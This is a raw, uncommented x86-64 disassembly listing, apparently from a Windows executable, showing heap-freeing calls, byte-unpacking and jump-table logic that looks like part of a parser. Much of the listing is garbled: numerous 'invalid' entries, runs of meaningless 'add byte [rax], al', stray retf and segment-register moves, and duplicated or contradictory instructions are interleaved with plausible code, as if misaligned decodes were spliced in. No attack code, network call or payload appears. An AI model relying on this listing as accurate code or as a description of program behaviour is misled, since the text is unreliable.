sub r9b, byte [rsi]
add byte [rcx], dh
sar bh, cl
adc eax, 0x73b3c
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [rsp + 0x100]
test byte [rax + rax], ah
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x70
add byte [rcx], al
add byte [rax], al
mov qword [rsp + 0x70], rax
mov r8, qword [rsp + 0x118]
mov eax, dword [rsp + 0x108]
mov qword [rsp + 0x50], rax
mov r9d, r15d
mov r14d, ebx
mov esi, ebx
mov eax, dword [rsp + 0x110]
mov qword [rsp + 0x68], rax
mov r10b, 0xa
mov dl, 0xa
mov dl, 0xa
or ch, cl
pop rbx
sbb dword [rax], eax
add byte [rax + 0x44894801], dh
and al, 0x70
jmp 0x1400a11b9
mov al, 1
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x34], 0
and al, 0x34
add byte [rax], al
add byte [rax], al
test r12, r12
je 0x1400a0acc
mov eax, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add cl, ch
mov eax, 0x31fffff3
xor ecx, ecx
mov qword [rsp + 0x90], rax
jmp case.0x14006bf32.218
xor ecx, ecx
mov r13d, 1
xor r15d, r15d
xor eax, eax
mov qword [rsp + 0x80], rax
and al, 0x80
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x75244
invalid
and al, 0x80
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x75244
invalid
jmp case.0x140095d16.54
loopne 0x14009f8f2
shr eax, 0x20
mov r15, rax
mov rcx, r13
mov qword [rsp + 0x80], r12
mov dword [rsp + 0x80], esp
lea rdx, [0x14012a0a8]
mov r8d, dword [rsp + 0x58]
mov rax, r13
shr rax, 0x20
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x50], ecx
push rax
shr rcx, 0x20
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x48], ecx
shl ebx, 0x10
shl esi, 0x18
or esi, ebx
mov eax, dword [rsp + 0x34]
xor al, 0xc1
loopne case.0x140095d16.60
xor al, 0xc1
loopne case.0x140095d16.60
or eax, esi
or eax, r8d
mov dword [rsp + 0x34], eax
and al, 0x34
and al, 0x34
xor al, 0x41
and esi, 0xffffff7f
and r14d, 0xffffff7f
bswap r14d
mov rax, rdx
mov qword [rsp + 0x70], rdx
mov dword [rsp + 0x70], edx
mov dword [rsp + 0x70], edx
push rsp
and al, 0x70
shr rdx, 0x20
shr edx, 0x20
mov qword [rsp + 0x68], rdx
mov al, 1
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
and al, 0x58
mov r12b, 6
mov qword [rsp + 0x130], rax
jmp 0x14009f992
xor eax, eax
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
xor eax, eax
mov qword [rsp + 0x50], rax
lea rax, [0x1401167f0]
add eax, 0x76eb3
mov bl, 0x6e
invalid
add byte [rax - 0x77], cl
and al, 0x40
mov qword [rsp + 0x40], rax
mov al, 1
mov qword [rsp + 0x70], rax
jmp 0x14009f2e9
stc
invalid
invalid
stc
invalid
mov qword [rsp + 0x70], rcx
shr eax, 0x18
shr edx, 0x17
and edx, 0x100
or edx, eax
mov qword [rsp + 0x68], rdx
mov al, 1
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
and al, 0x58
pop rax
mov r12b, 2
mov qword [rsp + 0x40], rax
and al, 0x40
mov qword [rsp + 0x80], rax
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x50
add byte [rax - 0x77], cl
and al, 0x50
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x130], rax
xor byte [rcx], al
add byte [rax], al
xor byte [rcx], al
add byte [rax], al
mov eax, r14d
mov qword [rsp + 0x128], rax
add byte [rax], al
jmp 0x1400a14fc
pop rbp
sbb eax, dword [rax]
add byte [rcx - 0x3f], al
shl r9d, 0x18
shl r9d, 0x18
shl ebx, 0x10
or ebx, r9d
retf
retf
shl r11d, 8
or r11d, ebx
or r11d, esi
mov dword [rsp + 0x34], 1
add byte [rax], al
or byte [rcx + 9], al
fild dword [rcx + 9]
mov dword [rsp + 0x34], 1
add byte [rax], al
mov r8d, r11d
mov eax, ebx
mov dword [rsp + 0x7c], r11d
and al, 0x7c
nop word cs:[rax + rax]
nop dword [rax + rax]
invalid
add byte [rax], al
add byte [rax], al
mov rbp, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x38]
mov esi, r15d
add r13, r10
add ebp, edx
add ebp, edx
sub r12, r10
je 0x1400a1358
je case.0x140095e7c.57
add byte [rax], al
je case.0x140095e7c.57
add byte [rax], al
cmp r12, 6
mov r10d, 6
mov edx, 6
cmovb r10, r12
cmp r12, 1
je 0x1400a2910
adc al, 0x2f
add byte [rax], al
invalid
invalid
adc al, 0x2f
add byte [rax], al
invalid
invalid
add byte [rcx - 0x7d], cl
cld
add cl, byte [rdi]
xchg byte [rax], ah
invalid
cmp r12, 2
jbe 0x1400a2926
cmp r12, 3
je 0x1400a293c
test byte [rdi + rbp], ch
add byte [rax], al
test byte [rdi + rbp], ch
add byte [rax], al
invalid
cmp r12, 4
cmp esp, 4
jbe 0x1400a2952
cmp r12, 5
cmp esp, 5
je 0x1400a2968
invalid
movzx r9d, byte [r13]
movzx r11d, byte [r13 + 1]
mov dh, 0x5d
add dword [rcx - 0x3f], eax
loope 0x14009fa3a
mov dh, 0x5d
pop rbp
add dword [rcx - 0x3f], eax
loope 0x14009fa3a
lea ebp, [r9 + r11]
dec ebp
cmp ebp, 7
ja case.default.0x14009fa62
invalid
invalid
jo 0x14009fa7f
mov r15d, esi
mov edi, esi
test dword [rbp + 0xf], 0x41024db6
movzx ebx, byte [rbp + 3]
pop rbp
invalid
movzx r9d, byte [r13 + 2]
movzx ebx, byte [r13 + 3]
pop rbp
invalid
movzx r11d, byte [r13 + 4]
movzx esi, byte [r13 + 5]
mov dh, 0x5d
add al, 0x41
movzx esi, byte [rbp + 5]
lea r8, [0x140178908]
movsxd rbp, dword [r8 + rbp*4]
invalid
sub al, 0xa8
mov cs, word [0x16c6d435e]
test al, 0x4c
add ebp, eax
invalid
add rbp, r8
jmp rbp
shl r9d, 0x18
shl ebx, 0x10
or ebx, r9d
shl r11d, 8
jrcxz 0x14009fa7a
jrcxz 0x14009fa7a
or r11d, ebx
or r11d, esi
mov eax, 1
mov qword [rsp + 0x58], r11
pop rax
add byte [rax], al
add byte [rcx + rcx*4 + 0x5c], cl
pop rsp
and al, 0x58
pop rax
cmp r11d, 2
jb case.0x14009fa62.6
invalid
invalid
invalid
invalid
invalid
jmp 0x1400a171d
shl r9d, 0x18
shl ebx, 0x10
adc byte [rcx + rcx - 0x35], al
shl r11d, 8
shl ebx, 8
shl ebx, 8
or r11d, ebx
or r11d, esi
mov esi, 1
fild dword [rcx + 9]
mov esi, 1
mov ecx, r11d
mov rbp, qword [rsp + 0x38]
add r13, r10
sub r12, r10
jne 0x14009f9e4
cmp byte [rbp + 1], cl
invalid
jmp 0x1400a1358
shl r9d, 0x18
loope 0x14009fadf
shl ebx, 0x10
or ebx, r9d
shl r11d, 8
or r11d, ebx
or r11d, esi
cmp r11d, 2
jae 0x1400a1731
add byte [rax], al
movd xmm1, r11d
movdqa xmm0, xmm9
punpckldq xmm0, xmm1
jmp case.0x14009fa62.6
shl r9d, 0x18
shl ebx, 0x10
or ebx, r9d
shl r11d, 8
or r11d, ebx
or r11d, esi
mov r8d, 1
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x80], r11
jmp case.0x14009fa62.6
invalid
invalid
invalid
shl r9d, 0x18
shl ebx, 0x10
or ebx, r9d
shl r11d, 8
or r11d, ebx
or r11d, esi
mov qword [rsp + 0x50], r11
mov edx, 1
jns case.0x14009fa62.6
jmp 0x1400a171d
shl r9d, 0x18
shl ebx, 0x10
or ebx, r9d
shl r11d, 8
lea r9d, [r11 + rbx]
add r9d, 0xffffc000
cmp r9d, 0xffc000
jae 0x1400a171d
mov r8d, 1
mov qword [rsp + 0x48], r8
or ebx, r11d
or ebx, esi
mov r14d, ebx
jmp case.0x14009fa62.6
mov eax, dword [rsp + 0x100]
mov qword [rsp + 0x70], rax
mov r8, qword [rsp + 0x118]
mov eax, dword [rsp + 0x108]
mov qword [rsp + 0x50], rax
mov r9d, r15d
mov r14d, ebx
mov eax, dword [rsp + 0x110]
mov qword [rsp + 0x68], rax
jmp 0x1400a11b9
shr r8, 5
neg r8
cmp qword [rsp + 0x1e0], r8
je 0x14009fbe6
add r8, qword [rsp + 0x1d0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov bl, 2
test sil, 0x20
jne 0x14009ffd3
test r12, r12
je 0x14009fc10
mov rax, qword [rsp + 0xc8]
sub rax, r12
jb 0x14009ffe2
mov qword [rsp + 0xc8], rax
movzx eax, byte [rsp + 0x31c]
lea rcx, [rsp + 0x5eb]
mov byte [rcx + 4], al
mov eax, dword [rsp + 0x318]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc8]
movaps xmm0, xmmword [rsp + 0xd0]
lea r8, [rsp + 0x350]
movups xmmword [r8 + 3], xmm0
mov qword [r8 - 0xd], rax
mov qword [r8 - 5], rcx
mov rax, qword [rsp + 0x819]
mov rcx, qword [rsp + 0x820]
lea rdx, [rsp + 0x1d8]
mov qword [rdx + 8], rcx
mov qword [rdx + 1], rax
mov qword [rsp + 0x1e8], 0
mov qword [rsp + 0x1f0], 8
movups xmmword [rdx + 0x20], xmm7
mov qword [rsp + 0x208], 8
mov qword [rsp + 0x210], 0
mov qword [rsp + 0x218], 2
mov qword [rsp + 0x220], 0
mov word [rsp + 0x228], 0
movzx eax, word [rsp + 0x556]
mov word [rdx + 0x56], ax
mov eax, dword [rsp + 0x552]
mov dword [rdx + 0x52], eax
mov rax, qword [rsp + 0x8b0]
mov qword [rdx + 0x68], rax
movups xmm0, xmmword [rsp + 0x8a1]
movups xmmword [rdx + 0x59], xmm0
mov rax, qword [rsp + 0x510]
mov qword [rdx + 0x88], rax
movups xmm0, xmmword [rsp + 0x500]
movups xmmword [rdx + 0x78], xmm0
mov rax, qword [rsp + 0x5d8]
mov qword [rdx + 0xa8], rax
movups xmm0, xmmword [rsp + 0x5c8]
movups xmmword [rdx + 0x98], xmm0
mov rax, qword [rsp + 0x8e0]
mov qword [rdx + 0xc8], rax
movups xmm0, xmmword [rsp + 0x8d0]
movups xmmword [rdx + 0xb8], xmm0
mov rax, qword [rsp + 0x8c8]
mov qword [rdx + 0xe8], rax
movups xmm0, xmmword [rsp + 0x8b8]
movups xmmword [rdx + 0xd8], xmm0
movzx eax, word [rsp + 0x550]
mov word [rdx + 0xf6], ax
mov eax, dword [rsp + 0x54c]
mov dword [rdx + 0xf2], eax
mov eax, dword [rsp + 0x5ec]
mov dword [rdx + 0x109], eax
mov rax, qword [rsp + 0x5e4]
mov qword [rdx + 0x101], rax
movzx eax, byte [rsp + 0x342]
mov byte [rdx + 0x117], al
movzx eax, word [rsp + 0x340]
mov word [rdx + 0x115], ax
movdqu xmm0, xmmword [r8 - 0xd]
movdqu xmm1, xmmword [r8 + 3]
movdqa xmmword [rsp + 0xf0], xmm1
movdqa xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0x1d0], 0
mov byte [rsp + 0x230], 0xb
mov qword [rsp + 0x248], 0
mov qword [rsp + 0x268], 0
mov qword [rsp + 0x288], 0
mov qword [rsp + 0x2a8], 0
mov word [rsp + 0x2c8], 0
mov qword [rsp + 0x2d0], 0
mov byte [rsp + 0x2d8], 0
mov byte [rsp + 0x2e5], bl
mov word [rsp + 0x2e6], 0
mov dword [rsp + 0x2e8], r14d
mov byte [rsp + 0x2ec], sil
lea rcx, [rsp + 0x1d0]
lea rdx, [rsp + 0xe0]
mov r8, r15
mov r9, qword [rsp + 0x4a8]
call fcn.14001a670
cmp al, 0x15
jne 0x1400a01ac
test sil, 4
je 0x1400a0218
mov eax, dword [rsp + 0x1d0]
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0x1d4]
mov qword [rsp + 0x68], rax
mov r13d, dword [rsp + 0x1d8]
mov eax, dword [rsp + 0x1dc]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x1e0]
mov qword [rsp + 0x80], rax
mov r15d, dword [rsp + 0x1e4]
mov eax, dword [rsp + 0x1e8]
mov qword [rsp + 0x50], rax
mov eax, dword [rsp + 0x1ec]
mov qword [rsp + 0x48], rax
mov r14d, dword [rsp + 0x1f0]
mov eax, dword [rsp + 0x1f4]
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x1f8]
mov dword [rsp + 0x174], eax
movq xmm13, qword [rsp + 0x1fc]
movzx eax, byte [rsp + 0x204]
mov byte [rsp + 0x66], al
lea rsi, [rsp + 0x1d8]
movzx eax, word [rsi + 0x2d]
mov word [rsp + 0xa2], ax
movzx eax, byte [rsi + 0x2f]
mov byte [rsp + 0xa4], al
mov r8d, 0xe0
lea rcx, [rsp + 0x650]
lea rdx, [rsp + 0x208]
call fcn.140106530
movzx eax, byte [rsp + 0x2e8]
mov dword [rsp + 0x8c], eax
movzx eax, byte [rsp + 0x2ec]
mov dword [rsp + 0x88], eax
movzx eax, word [rsi + 0x111]
mov word [rsp + 0x9e], ax
movzx eax, byte [rsi + 0x113]
mov byte [rsp + 0xa0], al
movzx eax, word [rsi + 0x115]
mov word [rsp + 0x9a], ax
movzx eax, byte [rsi + 0x117]
mov byte [rsp + 0x9c], al
lea rcx, [rsp + 0xe0]
call fcn.1400129c0
mov r12b, 1
jmp 0x1400a0780
cmp qword [rsp + 0xc8], 5
jae 0x1400a00f9
xor r13d, r13d
mov r8, qword [rsp + 0xd8]
test r8b, 1
jne 0x1400a002a
lock dec qword [r8 + 0x20]
lea r15, [rsp + 0x1d8]
jne 0x1400a005a
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x1400a004b
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov rsi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rsi
jmp 0x1400a004b
shr r8, 5
neg r8
cmp qword [rsp + 0xd0], r8
lea r15, [rsp + 0x1d8]
je 0x1400a005a
add r8, qword [rsp + 0xc0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov al, 1
test r13b, r13b
je 0x1400a0091
mov qword [rsp + 0x58], rax
movabs rax, 0xffffffff00000000
mov rcx, qword [rsp + 0x40]
and rcx, rax
or rcx, 1
mov qword [rsp + 0x40], rcx
xor eax, eax
mov qword [rsp + 0x70], rax
mov ecx, dword [rsp + 0x80]
jmp 0x1400a00d4
mov qword [rsp + 0x58], rax
mov r14d, 1
xor eax, eax
mov qword [rsp + 0x50], rax
mov eax, 1
mov qword [rsp + 0x90], rax
mov al, 1
mov qword [rsp + 0x70], rax
lea rax, [0x1401167f0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rax
xor ecx, ecx
mov dword [rsp + 0x34], 0
mov eax, r14d
mov qword [rsp + 0x68], rax
mov r12b, 0xa
mov r14d, ecx
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 2
jne 0x1400a0bca
jmp 0x14009f329
mov rax, qword [rsp + 0xc0]
mov ebx, dword [rax]
bswap ebx
mov ecx, ebx
and ecx, 0x7fffffff
movzx eax, byte [rax + 4]
mov dword [rsp + 0x1d0], ecx
mov byte [rsp + 0x1d4], al
mov eax, dword [rsp + 0x1d1]
mov byte [rsp + 0xe0], bl
mov dword [rsp + 0xe1], eax
mov r13b, 1
cmp dword [rsp + 0xe0], r14d
je 0x14009ffe5
mov r8d, 5
lea rcx, [rsp + 0x1d0]
lea rdx, [rsp + 0xc0]
call fcn.140012550
mov r8, qword [rsp + 0x1e8]
test r8b, 1
jne 0x1400a12a9
lock dec qword [r8 + 0x20]
jne 0x1400a12d1
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x1400a12c2
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r13, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, r13
jmp 0x1400a12c2
lea ecx, [rax - 0xc]
movzx ecx, cl
cmp cl, 9
mov edx, 9
cmovae ecx, edx
cmp cl, 7
mov ebx, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x50]
je 0x1400a0b02
movzx ecx, cl
mov r14d, 1
xor r13d, r13d
mov r9d, 1
mov r8b, 1
cmp ecx, 9
jne 0x1400a08ab
test sil, 4
jne 0x1400a08ab
add al, 0xfd
lea rsi, [0x1401167f0]
mov ecx, 0
mov r10d, 0
mov ebx, 0
cmp al, 8
jbe 0x1400a0b35
mov r8d, 0x120
lea rbx, [rsp + 0x340]
mov rcx, rbx
lea rdx, [rsp + 0x1d0]
call fcn.140106530
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xd0], xmm1
mov rsi, qword [rsp + 0x488]
mov rcx, rsi
call case.0x140018f24.344
mov qword [rsi], 0
jmp 0x1400a0862
shr r8, 5
neg r8
cmp qword [rsp + 0x1e0], r8
je 0x1400a029a
add r8, qword [rsp + 0x1d0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xc8], 5
jb 0x1400a0356
mov rax, qword [rsp + 0xc0]
mov r12d, dword [rax]
mov eax, 0xffffff7f
and r12d, eax
mov r8d, 4
lea rcx, [rsp + 0x1d0]
lea rdx, [rsp + 0xc0]
call fcn.140012550
mov r8, qword [rsp + 0x1e8]
test r8b, 1
jne 0x1400a0314
mov r8, qword [rsp + 0xd8]
test r8b, 1
jne 0x1400a039b
mov r13d, 1
xor eax, eax
xor edx, edx
lea r9, [0x140114ae8]
jmp 0x1400a0972
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x128], rax
mov rbp, qword [rsp + 0x38]
jmp 0x1400a150a
mov r8d, 0x120
mov rcx, qword [rsp + 0x4b0]
mov rdx, rbx
call fcn.140106530
movdqa xmm0, xmmword [rsp + 0xc0]
movdqa xmm1, xmmword [rsp + 0xd0]
mov rax, qword [rsp + 0x520]
movdqu xmmword [rax], xmm0
movdqu xmmword [rax + 0x10], xmm1
mov r12b, 9
mov r14d, dword [rsp + 0x80]
jmp 0x1400a0bab
lea rsi, [0x1401167f0]
xor ecx, ecx
xor r10d, r10d
xor ebx, ebx
jmp 0x1400a0b35
lea r9, [0x14012a0a8]
mov qword [rsp + 0x500], r15
mov r8, rdx
sub r8, r15
jb 0x1400a2e8c
add r13, r15
mov qword [rsp + 0xe0], r9
mov qword [rsp + 0xe8], r13
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], rax
mov rcx, rax
mov eax, r9d
test ebx, ebx
je 0x1400a0a49
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x70], rax
movzx r12d, sil
mov esi, r12d
and esi, 8
je 0x1400a0a31
test r8, r8
je 0x1400a0a41
movzx ebx, byte [r13]
cmp r8, rbx
jbe 0x1400a0a44
cmp r8, 1
jne 0x1400a0c7a
movdqu xmm0, xmmword [rsp + 0xe0]
movdqu xmm1, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x1e0], xmm1
movdqa xmmword [rsp + 0x1d0], xmm0
lea rax, [0x140114ae8]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xf0]
movups xmmword [rax], xmm7
mov eax, 1
mov r15, r8
jmp 0x1400a0ceb
shr qword [rsp + 0x68], 0x20
xor ebx, ebx
mov rax, rcx
jmp 0x1400a14a4
xor r8d, r8d
mov r9, qword [rsp + 0x68]
lea rcx, [rsp + 0xf8]
mov rdx, r13
call qword [r9 + 0x10]
mov r12b, 0xa
mov eax, 1
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x7c], 0
mov eax, 1
mov qword [rsp + 0x90], rax
mov al, 1
mov qword [rsp + 0x58], rax
mov al, 1
mov qword [rsp + 0x70], rax
lea rax, [0x1401167f0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x50], rax
xor eax, eax
mov qword [rsp + 0x48], rax
xor r14d, r14d
mov dword [rsp + 0x34], 0
lea r15, [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 2
jne 0x1400a0bca
jmp 0x14009f329
pxor xmm0, xmm0
xor r9d, r9d
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x80], rcx
xor edx, edx
mov qword [rsp + 0x50], rcx
xor ecx, ecx
mov qword [rsp + 0x48], rcx
xor esi, esi
xor r10d, r10d
xor r8d, r8d
mov r11b, 1
jmp 0x1400a13ab
movabs rax, 0xffffffff00000000
mov rsi, qword [rsp + 0x40]
and rsi, rax
or rsi, 1
xor r8d, r8d
mov r9, qword [rsp + 0x90]
mov r13d, edx
mov rax, qword [rsp + 0x48]
mov ecx, eax
mov r10d, dword [rsp + 0x80]
mov dword [rsp + 0x48], ecx
mov eax, r14d
mov qword [rsp + 0x68], rax
mov r15, rsi
lea rcx, [rsp + 0xe0]
mov r14d, r8d
mov rsi, r9
mov ebp, r10d
call fcn.1400129c0
lea rcx, [rsp + 0x1d0]
call fcn.140036d60
lea rcx, [rsp + 0x230]
call case.0x140028096.388
mov r12b, 0xa
mov al, 1
mov qword [rsp + 0x58], rax
mov eax, r14d
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x90], rsi
mov eax, r13d
mov qword [rsp + 0x50], rax
mov eax, dword [rsp + 0x48]
mov qword [rsp + 0x48], rax
mov r14d, ebp
mov dword [rsp + 0x34], ebx
mov rbp, qword [rsp + 0x38]
lea r15, [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 2
je 0x14009f329
mov rcx, qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1b8]
test rdx, rdx
je 0x1400a0bf1
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x1c0]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x1a8]
cmp r8, 2
je 0x14009f329
mov rdx, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1b8]
test r8, r8
je 0x1400a0c6f
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x1b0]
lock dec qword [rax]
jne 0x14009f329
call qword [rax + 0x80]
jmp 0x14009f329
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0xf8]
mov r9, r8
mov r8, r13
mov rax, qword [rsp + 0x68]
mov r15, r9
call qword [rax]
dec qword [rsp + 0xf0]
mov rax, qword [rsp + 0xe8]
inc rax
mov qword [rsp + 0x350], 1
movdqu xmm0, xmmword [rsp + 0x340]
movdqa xmmword [rsp + 0x1d0], xmm0
mov rcx, qword [rsp + 0x350]
mov qword [rsp + 0x1e0], rcx
mov rcx, qword [rsp + 0x358]
mov qword [rsp + 0x1e8], rcx
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x1d8]
mov r8, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x1e8]
call qword [rax + 0x10]
mov rax, rbx
not rax
add r15, rax
mov qword [rsp + 0x5c8], r15
mov r9, qword [rsp + 0xf0]
cmp r9, r15
jb 0x1400a2f9a
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 2
lea r15, [rsp + 0x1d8]
mov dword [rsp + 0x34], r12d
mov qword [rsp + 0x90], r8
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], r9
je 0x14009f2ec
shr r8, 5
neg r8
cmp qword [rsp + 0x1e0], r8
je 0x1400a12d1
add r8, qword [rsp + 0x1d0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
shr ebx, 0x1f
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x318], eax
movzx eax, byte [rsp + 0xe4]
mov byte [rsp + 0x31c], al
test r12, r12
jne 0x14009fbf7
jmp 0x14009fc10
mov r8d, dword [rsp + 0x7c]
mov r10d, r8d
and r10d, 0xffffff00
movzx r9d, r8b
xor r11d, r11d
mov r8d, dword [rsp + 0x34]
mov r13, qword [rsp + 0x58]
jmp 0x1400a13ab
mov qword [rsp + 0x128], r8
or r9d, r10d
mov r8b, 1
mov qword [rsp + 0x58], r8
mov r12b, 4
mov r15d, edx
mov dword [rsp + 0x34], esi
mov dword [rsp + 0x174], ecx
mov ecx, r11d
mov byte [rsp + 0x66], r11b
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x68], rax
mov eax, r9d
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x88], eax
mov dword [rsp + 0x8c], eax
movdqa xmm13, xmm0
jmp 0x1400a150a
shl esi, 5
and r12d, 9
or r12d, esi
or r12d, ebx
mov dword [rsp + 0x34], r12d
mov rcx, r13
shr rcx, 0x20
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x80], r8
mov r15, r8
shr r15, 0x20
mov rcx, rax
mov qword [rsp + 0x50], rax
shr rax, 0x20
mov qword [rsp + 0x48], rax
xor r12d, r12d
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x128], rax
xor eax, eax
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x88], eax
mov dword [rsp + 0x8c], eax
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x172], al
movzx eax, word [rsp + 0xa2]
mov word [rsp + 0x170], ax
mov r8d, 0xe0
lea rcx, [rsp + 0x738]
lea rdx, [rsp + 0x650]
call fcn.140106530
movzx eax, word [rsp + 0x9e]
mov word [rsp + 0x16c], ax
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0x16e], al
movzx eax, word [rsp + 0x9a]
mov word [rsp + 0x168], ax
movzx eax, byte [rsp + 0x9c]
mov byte [rsp + 0x16a], al
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 2
je 0x1400a1630
mov rcx, qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1b8]
test rdx, rdx
je 0x1400a15bb
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x1c0]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x1a8]
cmp r8, 2
je 0x1400a1630
cmp byte [rsp + 0x58], 0
mov rdx, qword [rsp + 0x80]
je 0x1400a16ba
mov r8, qword [rsp + 0x338]
test r8b, 1
jne 0x1400a168a
mov rax, qword [rsp + 0x70]
mov ecx, eax
shr ecx, 8
mov qword [rsp + 0x58], rcx
shr eax, 0x10
mov dword [rsp + 0x7c], eax
mov eax, r13d
mov rcx, qword [rsp + 0x40]
shl rcx, 0x20
or rcx, rax
mov qword [rsp + 0x40], rcx
mov eax, edx
shl r15, 0x20
or r15, rax
mov qword [rsp + 0x90], r15
lea r15, [rsp + 0x1d8]
jmp 0x14009f333
mov dword [rsp + 0x34], 0
mov eax, 1
mov qword [rsp + 0x68], rax
jmp 0x1400a1739
mov dword [rsp + 0x34], 0
xor eax, eax
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rsp + 0x50], rax
lea rax, [0x1401167f0]
mov qword [rsp + 0x40], rax
mov al, 1
mov qword [rsp + 0x58], rax
xor r14d, r14d
mov dword [rsp + 0x7c], 0
mov rbp, qword [rsp + 0x38]
lea r15, [rsp + 0x1d8]
mov r10b, 0xa
jmp 0x14009f2ec
mov byte [rdi + 0x1c0], al
mov byte [rdi + 0x1c1], 1
cmp byte [rdi + 0x1c2], 0
jne 0x1400a1940
xor eax, eax
jmp 0x1400a178f
mov word [rdi + 0x1c1], 0
mov r12b, 0xa
mov rdx, qword [rsp + 0x558]
cmp rdx, 2
je 0x1400a1d80
jmp 0x1400a1cd9
mov r12b, 0xb
mov rdx, qword [rsp + 0x558]
cmp rdx, 2
je 0x1400a1d80
jmp 0x1400a1cd9
mov eax, dword [rsp + 0x7c]
shl eax, 0x10
movzx ecx, byte [rsp + 0x58]
shl ecx, 8
or ecx, eax
movzx eax, byte [rsp + 0x70]
or eax, ecx
mov dword [rsp + 0x17c], eax
mov r12b, 9
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x1a0], eax
mov dword [rsp + 0x19c], r14d
mov rax, qword [rsp + 0x48]
mov dword [rsp + 0x198], eax
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x4c0], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x4b8], rax
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x190], eax
mov rax, qword [rsp + 0x128]
mov dword [rsp + 0x4dc], eax
mov rax, qword [rsp + 0x130]
mov word [rsp + 0x1a4], ax
movzx eax, byte [rsp + 0xb7]
mov byte [rsp + 0xbb], al
mov dword [rsp + 0x80], r14d
mov rdx, qword [rsp + 0x558]
cmp rdx, 2
je 0x1400a1d80
cmp qword [rdi + 0x1a8], 0
je 0x1400a2535
mov byte [rdi + 0x1c2], 1
mov rcx, r13
call fcn.14001a360
mov ecx, r13d
and ecx, 3
cmp ecx, 1
jne 0x1400a1c40
